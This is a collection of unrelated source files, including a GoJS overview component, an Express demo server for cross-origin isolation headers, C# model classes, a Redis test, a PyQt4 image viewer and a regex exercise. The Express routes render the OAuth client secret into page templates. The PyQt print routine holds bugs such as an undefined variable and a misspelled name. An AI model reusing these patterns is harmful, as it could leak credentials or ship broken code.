            takeUntil(this.unsubscribe),
            filter((diagram: go.Diagram) => {
                // TODO: visjs구현체에서 overview핸들링이 되기전까지 visjs옵션의 경우(null)엔 잠시 막아둠.
                return !!diagram;
            })
        ).subscribe((diagram: go.Diagram) => {
            if (this.initialized === true) {
                this.overview.observed = diagram;
            } else {
                this.overview = go.GraphObject.make(go.Overview, this.overviewWrapper.nativeElement, {
                    observed: diagram
                });
                this.overview.box.elt(0)['figure'] = 'Rectangle';
                this.overview.box.elt(0)['stroke'] = '#E7555A';
                this.overview.box.elt(0)['strokeWidth'] = .5;
                this.initialized = true;
            }
        });
    }
    ngOnDestroy() {
        this.unsubscribe.next();
        this.unsubscribe.complete();
    }
}


text:
const express = require("express");
const hbs = require('hbs');
const app = express();

app.set('view engine', 'html');
app.engine('html', hbs.__express);
app.set('views', './views');
app.use(express.static("public"));
app.use(express.json({type: "application/reports+json"}));

// const reporting_endpoint = 'https://742ee3e6f7d80ca065e6cc05f16b6947.report-uri.com/a/d/g';
// const reporting_endpoint = `https://${process.env.PROJECT_DOMAIN}.glitch.me/report`;
// const reporting_endpoint = 'https://reportingapi.tools/public/submit';
const reporting_endpoint = 'https://reporting-endpoint.glitch.me/post';

const ot = (req, res, next) => {
  res.set('Origin-Trial', `${process.env.OT_TOKEN}`);
  next();
}

const coep = (req, res, next) => {
  if (req.query.coep && ['require-corp'].includes(req.query.coep)) {
    const reportTo = {
      group: 'coep',
      max_age: 60*60*24,
      endpoints: [{
        url: reporting_endpoint
      }],
      "include_subdomains":true
    };
    const previousReportTo = res.get('Report-To');
    const parsedReporTo = JSON.stringify(reportTo);
    const newReportTo = previousReportTo ? `${previousReportTo},${parsedReporTo}` : parsedReporTo;
    res.set('Report-To', newReportTo);
    if ('report-only' in req.query) {
      res.set('Cross-Origin-Embedder-Policy-Report-Only', `${req.query.coep};report-to="coep"`);
    } else {
      res.set('Cross-Origin-Embedder-Policy', `${req.query.coep};report-to="coep"`);
    }
  }
  next();
};

const coop = (req, res, next) => {
  if (req.query.coop &&
      ['same-origin', 'same-origin-allow-popups', 'unsafe-none'].includes(req.query.coop)) {
    const reportTo = {
      group: 'coop',
      max_age: 60*60*24,
      endpoints: [{
        url: reporting_endpoint
      }]
    };
    const previousReportTo = res.get('Report-To');
    const parsedReporTo = JSON.stringify(reportTo);
    const newReportTo = previousReportTo ? `${previousReportTo},${parsedReporTo}` : parsedReporTo;
    res.set('Report-To', newReportTo);
    if ('report-only' in req.query) {
      res.set('Cross-Origin-Opener-Policy-Report-Only', `${req.query.coop};report-to="coop"`);
    } else {
      res.set('Cross-Origin-Opener-Policy', `${req.query.coop};report-to="coop"`);
    }
  }
  next();
}

const corp = (req, res, next) => {
  if (req.query.corp &&
      ['same-origin', 'same-site', 'cross-origin'].includes(req.query.corp)) {
    res.set('Cross-Origin-Resource-Policy', `${req.query.corp}`);
  }
  next();
}

app.use((req, res, next) => {
  console.log(req.get('x-forwarded-proto'));
  if (req.get('x-forwarded-proto') &&
     (req.get('x-forwarded-proto')).split(',')[0] === 'http') {
    return res.redirect(301, `https://${process.env.PROJECT_DOMAIN}.glitch.me/${req.originalUrl}`);
  }
  req.protocol = 'https';
  next();
});

app.get("/check.svg", (req, res) => {
  res.set('Content-Type', 'image/svg+xml');
  res.send('<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="M0 0h24v24H0V0zm0 0h24v24H0V0z" fill="none"/><path d="M16.59 7.58L10 14.17l-3.59-3.58L5 12l5 5 8-8zM12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8z"/></svg>');
});

app.post('/report', (req, res) => {
  console.log(req.body);
  res.sendStatus(200);
});

app.get('/', ot, coep, coop, corp, (req, res) => {
  res.render("index.html", {
    client_id: process.env.CLIENT_ID,
    client_secret: process.env.CLIENT_SECRET,
    origin_trial: process.env.OT_TOKEN,
  });
});

app.get('/coep', ot, coep, coop, corp, (req, res) => {
  res.render("coep.html", {
    client_id: process.env.CLIENT_ID,
    client_secret: process.env.CLIENT_SECRET,
    origin_trial: process.env.OT_TOKEN,
  });
});

app.get('/coop', ot, coep, coop, corp, (req, res) => {
  res.render("coop.html", {
    client_id: process.env.CLIENT_ID,
    client_secret: process.env.CLIENT_SECRET,
    origin_trial: process.env.OT_TOKEN,
  });
});

app.get('/popup', ot, coep, coop, corp, (req, res) => {
  res.render("popup.html", {
    client_id: process.env.CLIENT_ID,
    client_secret: process.env.CLIENT_SECRET,
    origin_trial: process.env.OT_TOKEN,
  });
});

app.get('/iframe', ot, coep, coop, corp, (req, res) => {
  res.render("iframe.html", {
    client_id: process.env.CLIENT_ID,
    client_secret: process.env.CLIENT_SECRET,
    origin_trial: process.env.OT_TOKEN,
  });
});

app.get('/ls', ot, coep, coop, corp, (req, res) => {
  res.render("ls.html", {
    client_id: process.env.CLIENT_ID,
    client_secret: process.env.CLIENT_SECRET,
    origin_trial: process.env.OT_TOKEN,
  });
});

app.get('/callback', (req, res) => {
  res.render("callback.html");
});

const listener = app.listen(process.env.PORT, () => {
  console.log("Your app is listening on port " + listener.address().port);
});


text:
namespace CloudBread_Admin_Web
{
    using System;
    using System.Collections.Generic;

    public partial class CloudBreadErrorLog
    {
        public int Id { get; set; }
        public string MemberID { get; set; }
        public string JobID { get; set; }
        public System.DateTime Date { get; set; }
        public string Thread { get; set; }
        public string Level { get; set; }
        public string Logger { get; set; }
        public string Message { get; set; }
        public string Exception { get; set; }
    }
}


text:
namespace Microsoft.AzureStack.Management.Network.Admin.Models
{
    using Microsoft.Rest;
    using Microsoft.Rest.Serialization;
    using Newtonsoft.Json;
    using System.Collections;
    using System.Collections.Generic;
    using System.Linq;

    /// <summary>
    /// Admin overview resource object.
    /// </summary>
    [Rest.Serialization.JsonTransformation]
    public partial class AdminOverview : Resource
    {
        /// <summary>
        /// Initializes a new instance of the AdminOverview class.
        /// </summary>
        public AdminOverview()
        {
            CustomInit();
        }

        /// <summary>
        /// Initializes a new instance of the AdminOverview class.
        /// </summary>
        /// <param name="id">URI of the resource.</param>
        /// <param name="name">Name of the resource.</param>
        /// <param name="type">Type of resource.</param>
        /// <param name="location">Region location of resource.</param>
        /// <param name="tags">List of key value pairs.</param>
        /// <param name="provisioningState">The provisioning state.</param>
        /// <param name="virtualNetworkHealth">Health for all virtual networks
        /// as reported by the NC.</param>
        /// <param name="loadBalancerMuxHealth">Health for all LB MUXes as
        /// reported by the NC.</param>
        /// <param name="virtualGatewayHealth">Health for all gateways as
        /// reported by the NC.</param>
        /// <param name="publicIpAddressUsage">Total Public IP usage as
        /// reported by the NC.</param>
        /// <param name="backendIpUsage">Total Backend IP usage as reported by
        /// the NC.</param>
        /// <param name="macAddressUsage">Total MAC address usage as reported
        /// by the NC.</param>
        public AdminOverview(string id = default(string), string name = default(string), string type = default(string), string location = default(string), IDictionary<string, string> tags = default(IDictionary<string, string>), string provisioningState = default(string), AdminOverviewResourceHealth virtualNetworkHealth = default(AdminOverviewResourceHealth), AdminOverviewResourceHealth loadBalancerMuxHealth = default(AdminOverviewResourceHealth), AdminOverviewResourceHealth virtualGatewayHealth = default(AdminOverviewResourceHealth), AdminOverviewResourceUsage publicIpAddressUsage = default(AdminOverviewResourceUsage), AdminOverviewResourceUsage backendIpUsage = default(AdminOverviewResourceUsage), AdminOverviewResourceUsage macAddressUsage = default(AdminOverviewResourceUsage))
            : base(id, name, type, location, tags)
        {
            ProvisioningState = provisioningState;
            VirtualNetworkHealth = virtualNetworkHealth;
            LoadBalancerMuxHealth = loadBalancerMuxHealth;
            VirtualGatewayHealth = virtualGatewayHealth;
            PublicIpAddressUsage = publicIpAddressUsage;
            BackendIpUsage = backendIpUsage;
            MacAddressUsage = macAddressUsage;
            CustomInit();
        }

        /// <summary>
        /// An initialization method that performs custom operations like setting defaults
        /// </summary>
        partial void CustomInit();

        /// <summary>
        /// Gets the provisioning state.
        /// </summary>
        [JsonProperty(PropertyName = "properties.provisioningState")]
        public string ProvisioningState { get; private set; }

        /// <summary>
        /// Gets or sets health for all virtual networks as reported by the NC.
        /// </summary>
        [JsonProperty(PropertyName = "properties.virtualNetworkHealth")]
        public AdminOverviewResourceHealth VirtualNetworkHealth { get; set; }

        /// <summary>
        /// Gets or sets health for all LB MUXes as reported by the NC.
        /// </summary>
        [JsonProperty(PropertyName = "properties.loadBalancerMuxHealth")]
        public AdminOverviewResourceHealth LoadBalancerMuxHealth { get; set; }

        /// <summary>
        /// Gets or sets health for all gateways as reported by the NC.
        /// </summary>
        [JsonProperty(PropertyName = "properties.virtualGatewayHealth")]
        public AdminOverviewResourceHealth VirtualGatewayHealth { get; set; }

        /// <summary>
        /// Gets or sets total Public IP usage as reported by the NC.
        /// </summary>
        [JsonProperty(PropertyName = "properties.publicIpAddressUsage")]
        public AdminOverviewResourceUsage PublicIpAddressUsage { get; set; }

        /// <summary>
        /// Gets or sets total Backend IP usage as reported by the NC.
        /// </summary>
        [JsonProperty(PropertyName = "properties.backendIpUsage")]
        public AdminOverviewResourceUsage BackendIpUsage { get; set; }

        /// <summary>
        /// Gets or sets total MAC address usage as reported by the NC.
        /// </summary>
        [JsonProperty(PropertyName = "properties.macAddressUsage")]
        public AdminOverviewResourceUsage MacAddressUsage { get; set; }

    }
}


text:
package org.apache.geode.redis.internal.executor.string;

import org.junit.BeforeClass;
import org.junit.ClassRule;
import org.junit.rules.TestRule;
import org.testcontainers.containers.GenericContainer;
import redis.clients.jedis.Jedis;

import org.apache.geode.test.junit.rules.IgnoreOnWindowsRule;

public class BitCountNativeRedisAcceptanceTest extends BitCountIntegrationTest {

  // Docker compose does not work on windows in CI. Ignore this test on windows
  // Using a RuleChain to make sure we ignore the test before the rule comes into play
  @ClassRule
  public static TestRule ignoreOnWindowsRule = new IgnoreOnWindowsRule();

  @BeforeClass
  public static void setUp() {
    GenericContainer redisContainer = new GenericContainer<>("redis:5.0.6").withExposedPorts(6379);
    redisContainer.start();
    jedis = new Jedis("localhost", redisContainer.getFirstMappedPort(), 10000000);
  }
}


text:
var fs = require('fs');
var stream = require('stream');
var path = require('path');

var books = 'fixtures/books/';
var toconcat = 'fixtures/toconcat/';

function findBooks() {
  return fs.readdirSync(books).map(function(file) {
    return books + file;
  }).slice(-2);
}

splitAllBooks();

function splitAllBooks() {
  var i = 0;
  var seed = Math.random().toFixed(4).toString().slice(2);;

  findBooks().forEach(function(book) {
    var reader = fs.createReadStream(book);
    var splitter = new stream.Writable();
    splitter._write = function(chunk, encoding, cb) {
      i++;
      var dest = toconcat + path.basename(book, '.txt') + i + '-' + seed + '.txt';
      fs.writeFile(dest, chunk, cb);
    }
    reader.pipe(splitter);
  });
}


text:
package de.wellnerbou.chronic.logsource.factory;

import de.wellnerbou.chronic.plugins.ServiceLoaderImplementationProvider;

public class LogSourceReaderFactoryProvider extends ServiceLoaderImplementationProvider<LogSourceReaderFactory> {

	@Override
	protected boolean matches(final String id, final LogSourceReaderFactory implementation) {
		return implementation.getId().equalsIgnoreCase(id) || implementation.getClass().getCanonicalName().equals(id);
	}

	@Override
	protected Class<LogSourceReaderFactory> getImplementationClass() {
		return LogSourceReaderFactory.class;
	}
}


text:
import sip
sip.setapi('QString', 2)
sip.setapi('QVariant', 2)

from PyQt4 import QtCore, QtGui

import pixelator_rc

ItemSize = 256

class PixelDelegate(QtGui.QAbstractItemDelegate):
    def __init__(self, parent=None):
        super(PixelDelegate, self).__init__(parent)

        self.pixelSize = 12

    def paint(self, painter, option, index):
        if option.state & QtGui.QStyle.State_Selected:
            painter.fillRect(option.rect, option.palette.highlight())

        size = min(option.rect.width(), option.rect.height())
        brightness = index.model().data(index, QtCore.Qt.DisplayRole)
        radius = (size/2.0) - (brightness/255.0 * size/2.0)
        if radius == 0.0:
            return

        painter.save()
        painter.setRenderHint(QtGui.QPainter.Antialiasing)
        painter.setPen(QtCore.Qt.NoPen)

        if option.state & QtGui.QStyle.State_Selected:
            painter.setBrush(option.palette.highlightedText())
        else:
            painter.setBrush(QtGui.QBrush(QtCore.Qt.black))

        painter.drawEllipse(QtCore.QRectF(
                            option.rect.x() + option.rect.width()/2 - radius,
                            option.rect.y() + option.rect.height()/2 - radius,
                            2*radius, 2*radius))

        painter.restore()

    def sizeHint(self, option, index):
        return QtCore.QSize(self.pixelSize, self.pixelSize)

    def setPixelSize(self, size):
        self.pixelSize = size

class ImageModel(QtCore.QAbstractTableModel):
    def __init__(self, parent=None):
        super(ImageModel, self).__init__(parent)

        self.modelImage = QtGui.QImage()

    def setImage(self, image):
        self.modelImage = QtGui.QImage(image)
        self.reset()

    def rowCount(self, parent):
        return self.modelImage.height()

    def columnCount(self, parent):
        return self.modelImage.width()

    def data(self, index, role):
        if not index.isValid() or role != QtCore.Qt.DisplayRole:
            return None

        return QtGui.qGray(self.modelImage.pixel(index.column(), index.row()))

    def headerData(self, section, orientation, role):
        if role == QtCore.Qt.SizeHintRole:
            return QtCore.QSize(1, 1)

        return None

class MainWindow(QtGui.QMainWindow):
    def __init__(self):
        super(MainWindow, self).__init__()

        self.currentPath = QtCore.QDir.homePath()
        self.model = ImageModel(self)

        centralWidget = QtGui.QWidget()

        self.view = QtGui.QTableView()
        self.view.setShowGrid(False)
        self.view.horizontalHeader().hide()
        self.view.verticalHeader().hide()
        self.view.horizontalHeader().setMinimumSectionSize(1)
        self.view.verticalHeader().setMinimumSectionSize(1)
        self.view.setModel(self.model)

        delegate = PixelDelegate(self)
        self.view.setItemDelegate(delegate)

        pixelSizeLabel = QtGui.QLabel("Pixel size:")
        pixelSizeSpinBox = QtGui.QSpinBox()
        pixelSizeSpinBox.setMinimum(4)
        pixelSizeSpinBox.setMaximum(32)
        pixelSizeSpinBox.setValue(12)

        fileMenu = QtGui.QMenu("&File", self)
        openAction = fileMenu.addAction("&Open...")
        openAction.setShortcut("Ctrl+O")

        self.printAction = fileMenu.addAction("&Print...")
        self.printAction.setEnabled(False)
        self.printAction.setShortcut("Ctrl+P")

        quitAction = fileMenu.addAction("E&xit")
        quitAction.setShortcut("Ctrl+Q")

        helpMenu = QtGui.QMenu("&Help", self)
        aboutAction = helpMenu.addAction("&About")

        self.menuBar().addMenu(fileMenu)
        self.menuBar().addSeparator()
        self.menuBar().addMenu(helpMenu)

        openAction.triggered.connect(self.chooseImage)
        self.printAction.triggered.connect(self.printImage)
        quitAction.triggered.connect(QtGui.qApp.quit)
        aboutAction.triggered.connect(self.showAboutBox)
        pixelSizeSpinBox.valueChanged.connect(delegate.setPixelSize)
        pixelSizeSpinBox.valueChanged.connect(self.updateView)

        controlsLayout = QtGui.QHBoxLayout()
        controlsLayout.addWidget(pixelSizeLabel)
        controlsLayout.addWidget(pixelSizeSpinBox)
        controlsLayout.addStretch(1)

        mainLayout = QtGui.QVBoxLayout()
        mainLayout.addWidget(self.view)
        mainLayout.addLayout(controlsLayout)
        centralWidget.setLayout(mainLayout)

        self.setCentralWidget(centralWidget)

        self.setWindowTitle("Pixelator")
        self.resize(640, 480)

    def chooseImage(self):
        fileName = QtGui.QFileDialog.getOpenFileName(self, "Choose an Image",
                self.currentPath, '*')

        if fileName:
            self.openImage(fileName)

    def openImage(self, fileName):
        image = QtGui.QImage()

        if image.load(fileName):
            self.model.setImage(image)

            if not fileName.startswith(':/'):
                self.currentPath = fileName
                self.setWindowTitle("%s - Pixelator" % self.currentPath)

            self.printAction.setEnabled(True)
            self.updateView()

    def printImage(self):
        if self.model.rowCount(QtCore.QModelIndex()) * self.model.columnCount(QtCore.QModelIndex()) > 90000:
            answer = QtGui.QMessageBox.question(self, "Large Image Size",
                    "The printed image may be very large. Are you sure that "
                    "you want to print it?",
                    QtGui.QMessageBox.Yes | QtGui.QMessageBox.No)
            if answer == QtGui.QMessageBox.No:
                return

        printer = QtGui.QPrinter(QtGui.QPrinter.HighResolution)

        dlg = QtGui.QPrintDialog(printer, self)
        dlg.setWindowTitle("Print Image")

        if dlg.exec_() != QtGui.QDialog.Accepted:
            return

        painter = QtGui.QPainter()
        painter.begin(printer)

        rows = self.model.rowCount(QtCore.QModelIndex())
        columns = self.model.columnCount(QtCore.QModelIndex())
        sourceWidth = (columns+1) * ItemSize
        sourceHeight = (rows+1) * ItemSize

        painter.save()

        xscale = printer.pageRect().width() / float(sourceWidth)
        yscale = printer.pageRect().height() / float(sourceHeight)
        scale = min(xscale, yscale)

        painter.translate(printer.pageRect().x()+printer.pageRect().width()/2,
                          printer.pageRect().y()+printer.pageRect().height()/2)
        painter.scale(scale, scale)
        painter.translate(-sourceWidt/2, -sourceHeight/2)

        option = QtGui.QStyleOptionViewItem()
        parent = QtCore.QModelIndex()

        progress = QtGui.QProgressDialog("Printing...", "Cancel", 0, rows,
                self)
        y = ItemSize / 2.0

        for row in range(rows):
            progress.setValue(row)
            QtGui.qApp.processEvents()
            if progress.wasCanceled():
                break

            x = ItemSize / 2.0

            for col in range(columns):
                option.rect = QtCore.QRect(x, y, ItemSize, ItemSize)
                self.view.itemDelegate.paint(painter, option,
                        self.model.index(row, column, parent))
                x = x + ItemSize

            y = y + ItemSize

        progress.setValue(rows)

        painter.restore()
        painter.end()

        if progress.wasCanceled():
            QtGui.QMessageBox.information(self, "Printing canceled",
                    "The printing process was canceled.",
                    QtGui.QMessageBox.Cancel)

    def showAboutBox(self):
        QtGui.QMessageBox.about(self, "About the Pixelator example",
                "This example demonstrates how a standard view and a custom\n"
                "delegate can be used to produce a specialized "
                "representation\nof data in a simple custom model.")

    def updateView(self):
        self.view.resizeColumnsToContents()
        self.view.resizeRowsToContents()

if __name__ == '__main__':

    import sys

    app = QtGui.QApplication(sys.argv)
    window = MainWindow()
    window.show()
    window.openImage(':/images/qt.png')
    sys.exit(app.exec_())


text:
namespace _08.Extract_Quatations
{
    using System;
    using System.Text.RegularExpressions;

    public class ExtractQuatations
    {
        public static void Main()
        {
            string input = Console.ReadLine();

            Regex regex = new Regex("(\"|\')(.*?)\\1");
            MatchCollection matches = regex.Matches(input);

            foreach (Match match in matches)
            {
                Console.WriteLine(match.Groups[2].Value);
            }
        }
    }
}